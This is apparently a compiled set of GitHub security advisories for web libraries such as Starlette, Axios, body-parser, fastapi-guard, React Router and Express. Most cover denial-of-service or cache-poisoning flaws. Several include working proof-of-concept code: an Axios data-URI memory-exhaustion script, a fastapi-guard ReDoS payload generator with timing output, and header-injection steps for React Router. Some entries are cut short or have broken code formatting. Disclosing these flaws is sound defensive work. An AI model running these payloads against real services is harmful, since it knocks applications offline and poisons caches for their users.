body-parser is vulnerable to denial of service when url encoding is used
Impact
body-parser 2.2.0 is vulnerable to denial of service due to inefficient handling of URL-encoded bodies with very large numbers of parameters. An attacker can send payloads containing thousands of parameters within the default 100KB request size limit, causing elevated CPU and memory usage. This can lead to service slowdown or partial outages under sustained malicious traffic.
Patches
This issue is addressed in version 2.2.1.
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in `FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
`python
starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
`
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178

Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
Axios is vulnerable to DoS attack through lack of data size check
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
``js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
`
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
`js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
`
The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
`js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
`
Run with limited heap to force a crash:
`bash
node --max-old-space-size=100 poc.js
`
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
`
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …

`
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
`js
import express from "express";

const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/
POST /preview { "url": "<http|https|data URL>" }
Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).

res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {

Suggestions
1. Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
2. Stream decoding
Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Starlette has possible denial-of-service vector when parsing large files in multipart forms
Summary
When parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections.
Details
Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from here) has a minor bug. Instead of just checking for self._in_memory we should also check if the additional bytes will cause a rollover.
``python
@property
def _in_memory(self) -> bool:
# check for SpooledTemporaryFile._rolled
rolled_to_disk = getattr(self.file, "_rolled", True)
return not rolled_to_disk
async def write(self, data: bytes) -> None:
if self.size is not None:
self.size += len(data)
if self._in_memory:
self.file.write(data)
else:
await run_in_threadpool(self.file.write, data)
`
I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962
PoC
See the discussion here for steps on how to reproduce.
Impact
To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact.
fastapi-guard is vulnerable to ReDoS through inefficient regex
Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7
``python
payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
`
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False` are vulnerable to DoS.
Next.JS vulnerability can lead to DoS via cache poisoning

React Router allows pre-render data spoofing on React-Router framework mode
Summary
After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values of the data object passed to the HTML. Latest versions are impacted.
Details
The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code :
<img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr:
!image
We access it by adding the suffix .data and retrieve the data object, needed for the header:
!image
4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):
!Capture d’écran 2025-04-07 à 05 56 10
As you can see, all values have been changed/overwritten by the values provided via the header.
Impact
The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.

React Router allows a DoS via cache poisoning by forcing SPA mode
Summary
After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application.
Details
The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code :
<img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
!image
3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header:
``
X-React-Router-SPA-Mode: yes
``
Notice the difference between a request with and without the header;
Normal request
!Capture d’écran 2025-04-07 à 08 36 27
With the header
!Capture d’écran 2025-04-07 à 08 37 01
!image
Impact
If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack.

Express ressource injection
A vulnerability has been identified in the Express response.links function, allowing for arbitrary resource injection in the Link header when unsanitized data is used.
The issue arises from improper sanitization in Link header values, which can allow a combination of characters like ,, ;, and <> to preload malicious resources.
This vulnerability is especially relevant for dynamic parameters.
Starlette Denial of service (DoS) via multipart/form-data
Summary
Starlette treats multipart/form-data parts without a filename as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette.
